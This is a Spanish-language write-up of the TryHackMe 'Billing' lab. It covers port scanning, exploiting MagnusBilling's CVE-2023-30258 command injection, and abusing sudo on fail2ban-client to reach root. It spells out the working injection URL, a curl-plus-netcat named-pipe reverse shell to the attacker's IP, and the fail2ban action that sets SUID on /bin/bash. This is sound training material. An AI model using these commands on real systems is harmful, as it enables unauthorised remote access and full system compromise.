Billing – Try Hack Me [WriteUp]

La máquina Billing es una máquina de dificultad fácil de TryHackMe.

Resumen de conceptos trabajados:

Escaneo de Puertos Explotación RCE – CVE (2023-30258) Reverse Shell Abuso de binario sudo

Al final del write up te cuento un resumen de toda la máquina.

Si es tu primera máquina en TryHackMe y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento paso a paso cómo introducirte en esta plataforma.

Cuando inicies siempre una máquina de TryHackMe, recuerda securizarte en la red, para ello te cuento cómo lo hago yo siguiendo estos sencillos pasos.

ESCANEO DE PUERTOS

Comenzamos primero viendo si la máquina está activa y podemos conectarnos a ella, y después continuamos con el descubrimiento de puertos para luego hacer un escaneo de los servicios y versiones que corren para esos puertos.

Realizando la primera fase del escaneo, se detectan los puertos abiertos: 80 http, 3306 mysql , 22 ssh y 5038 unknown. Para nuestra máquina víctima Billing corriendo bajo un SO de Linux.

Estos son los servicios y versiones que corren bajo esos puertos abiertos.

La versión de SSH al ser superior a la 7.7 parece no ser vulnerable a priori ni se detectan exploits de ExploitDataBase. Tampoco para los servicios mysql ni Asterisk 5038.

Por lo que investigamos en la parte web por http, donde vemos:

1. Ruta /mbilling/
   Es el panel de administración de MagnusBilling, una herramienta VoIP basada en Asterisk y Freeswitch. Puede ser un objetivo ideal para buscar credenciales por defecto, vulnerabilidades o rutas expuestas.
2. robots.txt
   El archivo contiene Disallow: /mbilling/, lo que ya vimos. No hay nada más oculto de momento, pero puede ser útil investigar/mbilling.
3. 5038 – Asterisk AMI
   Confirmado como Asterisk Manager Interface (AMI). Si accedemos sin credenciales o con una mala configuración, podríamos ejecutar comandos directamente en el servidor.

Efectivamente, si analizamos el robots.txt de esa IP víctima, vemos que la ruta /mbilling/ se está bloqueando a buscadores para evitar su indexación:

Por lo que probamos a entrar en él a ver qué hay detrás: http://10.10.134.248/mbilling/ y las tecnologías utilizadas. Y encontramos un panel de autenticación.

En este punto, vamos a buscar posibles credenciales por defecto publicadas sobre este panel por si hubiera un fallo en la configuración de credenciales. Efectivamente, parece que Google nos muestra en primer resultado lo que parecen ser las credenciales por defecto, por lo que vamos a probarlas:

Sin embargo resultan no ser válidas.

Haciendo fuzzing con Gobuster y enfocándonos en distintos tipos de extensiones y archivos a encontrar dentro del directorio /mbilling/, encontramos el /README.md el cual en formato markdown nos da la versión que es la versión 7.

gobuster dir -u http://10.10.99.233/mbilling/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,md -t 50

Explotación RCE – CVE 2023-30258

Si ahora buscamos en Google si existe algún exploit asociado a esa versión, vemos que efectivamente existe un CVE publicado en 2023 (CVE-2023-30258) que permite realizar Inyección de Comandos, permitiendo ejecutar comandos arbitrarios a través de peticiones HTTP no autenticadas.

dentro del cve de mitre nos referencian a varias urls en donde nos indican paso a paso como aplicarlo:

Aquí se nos da una PoC funcional y sencilla basada en inyección de comandos con sleep que vamos a probar.

Comprobamos desde navegador que efectivamente si ejecutamos ese código, se queda en suspensión por 30 segundos y nos devuelve un 200.

http://10.10.99.233/mbilling/lib/icepay/icepay.php?democ=/dev/null;sleep%2030;ls%20a

Reverse Shell

Por tanto, confirmado esto, lanzamos una reverse shell con netcat.

Primero nos ponemos en escucha con netcat por el puerto 443:

nc -lvnp 443

aplicamos este comando en consola:

curl -s 'http://10.10.99.233/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.20.159 443 >/tmp/f;'

Explicación del comando anterior:

1. democ=;
   Finaliza el valor esperado del parámetro democ, y da paso a la inyección de comandos.
2. rm /tmp/f;
   Elimina (por si acaso) un archivo FIFO anterior.
3. mkfifo /tmp/f;
   Crea un FIFO (named pipe) que se usará como canal para redireccionar entrada/salida de la shell.
4. cat /tmp/f | sh -i
   Lanza una shell interactiva (sh -i) que lee de ese canal FIFO.
5. 2>&1
   Redirige errores (stderr) hacia la salida estándar (stdout).
6. | nc 10.8.20.159 443
   Usa netcat para enviar toda la salida de la shell al puerto 443.
7. >/tmp/f;
   Redirige la entrada que venga de nc otra vez hacia el FIFO → así el bucle de comunicación se completa.

📌 Este método se conoce como reverse shell con named pipe. Es muy confiable cuando bash -i o python no funcionan directamente.

Aplicando esto se nos refleja el acceso…

En la foto de abajo lo que hago es tratar de estabilizar la shell aplicando estos comandos;

python3 -c 'import pty;pty.spawn("/bin/bash")'

Crea una pseudo-terminal (PTY) para que la shell sea interactiva, con formato más limpio (tabulación, flechas, etc.).

export TERM=xterm

Define el tipo de terminal para que funcione correctamente al interactuar con programas como nano, less, o sudo.

^Z (Ctrl + Z)

stty raw -echo ; fg

Esto es un truco de estabilización:

1. Ctrl + Z suspende temporalmente la shell y vuelve a tu terminal local.
2. stty raw -echo pone el terminal en modo «raw», desactiva el eco y mejora la lectura.
3. fg reanuda la sesión en foreground y se restaura la shell interactiva limpia.

Una vez estabilizada, lo que hago es ir a la home y encuentro la home de magnus, y al acceder encuentro la user flag

Una vez accedido de nuevo al servidor de la máquina con el usuario asterisk mediante una reverse shell, ahora es turno de escalar privilegios a root.

Para ello lo que hacemos es comprobar qué permisos tiene el usuario «asterisk»

ABUSO DE BINARIO SUDO

Vemos en la captura de arriba que asterisk tiene permisos de sudo sin contraseña para el binario /usr/bin/fail2ban-client .

¿Qué es fail2ban-client?

Fail2Ban es una herramienta que monitorea los logs del sistema y ejecuta acciones (como bloquear IPs) cuando detecta patrones sospechosos, como múltiples intentos fallidos de inicio de sesión (fuerza burta). Estas acciones están definidas en archivos de configuración dentro de /etc/fail2ban/action.d/.​

Si tienes permisos de escritura en estos archivos y puedes reiniciar el servicio Fail2Ban (por ejemplo, mediante sudo sin contraseña), puedes modificar una acción para ejecutar un comando malicioso como root.​

¿Qué es un Jail en Fail2Ban?

Un jail (que en inglés significa «cárcel») es un conjunto de reglas que Fail2Ban utiliza para vigilar los logs del sistema y actuar si detecta comportamientos sospechosos, como ataques de fuerza bruta o accesos no autorizados.

Está compuesto por:

1. Un filtro → Qué buscar (ej: intentos fallidos de login)
2. Un logpath → Dónde buscar (ej: /var/log/auth.log)
3. Una acción → Qué hacer si se detecta (ej: bloquear una IP)

Vemos que Jails están activos dentro del binario «fail2ban»:

sudo /usr/bin/fail2ban-client status

Nos indica que hay 8. Escogemos para el ataque y escalada, el jail = ast-cli-attck

Con el siguiente comando, vemos qué acciones ejecuta ese jail:

sudo /usr/bin/fail2ban-client get ast-cli-attck actions

*Recordar que aquí podemos ejecutar sudo porque tenemos permiso sobre esa ruta de binario, si no, cualquier ejecución con sudo nos pedirá una contraseña que no tenemos y nos impedirá avanzar.

A continuación, establecemos un acción maliciosa que viene a decir «quiero que este jail ejecute una nueva acción llamada evil«.

sudo /usr/bin/fail2ban-client set ast-cli-attck addaction evil

Definimos esa acción anterior donde actionban define el comando que se ejecuta cuando Fail2Ban «banea» una IP.

Le decimos que el «baneo» lo que haga sea dar permisos SUID a /bin/bash, para que cualquier usuario que lo ejecute gane permisos de root

sudo /usr/bin/fail2ban-client set ast-cli-attck action evil actionban "chmod +s /bin/bash"

Ejecutamos el baneo para lanzar el payload:

sudo /usr/bin/fail2ban-client set ast-cli-attck banip 1.2.3.5

La IP es inventada, pero da igual. Con esto se activa la acción y por tanto, se ejecuta el comando como root.

Y ya usamos el nuevo /bin/bash con root

/bin/bash -p

El parámetro -p hace que el shell herede el ID de usuario del ejecutable, que ahora tiene bit SUID, así que tenemos una shell con UID 0 (root).

Y si vemos, ya somos root, y ahora con «cd» escalamos 6 niveles hasta acceder a la carpeta root y al fichero root.txt .

RESUMEN Comenzamos escaneando la máquina con nmap, donde descubrimos varios servicios abiertos: HTTP (80), SSH (22), MySQL (3306) y Asterisk (5038). Visitamos el sitio web principal y al hacer fuerza bruta de directorios con gobuster, encontramos un archivo README.md que revelaba que la aplicación usada era MagnusBilling 7.x. Investigando esta versión en Google, descubrimos que tiene una vulnerabilidad conocida (CVE-2023-30258) que permite ejecutar comandos sin autenticación. Aprovechamos esto lanzando una reverse shell hacia nuestra máquina y obtuvimos acceso como el usuario asterisk. Para conseguir acceso root, exploramos las opciones disponibles con sudo y vimos que el usuario asterisk podía ejecutar fail2ban-client sin contraseña. Esta herramienta permite gestionar reglas para bloquear IPs sospechosas. Descubrimos que podíamos añadir una nueva acción personalizada a un «jail» ya existente, y le indicamos que, al bloquear una IP, ejecutase el comando chmod +s /bin/bash. Esto convirtió el binario de bash en una puerta trasera: al ejecutarlo con -p, conseguimos una shell como root.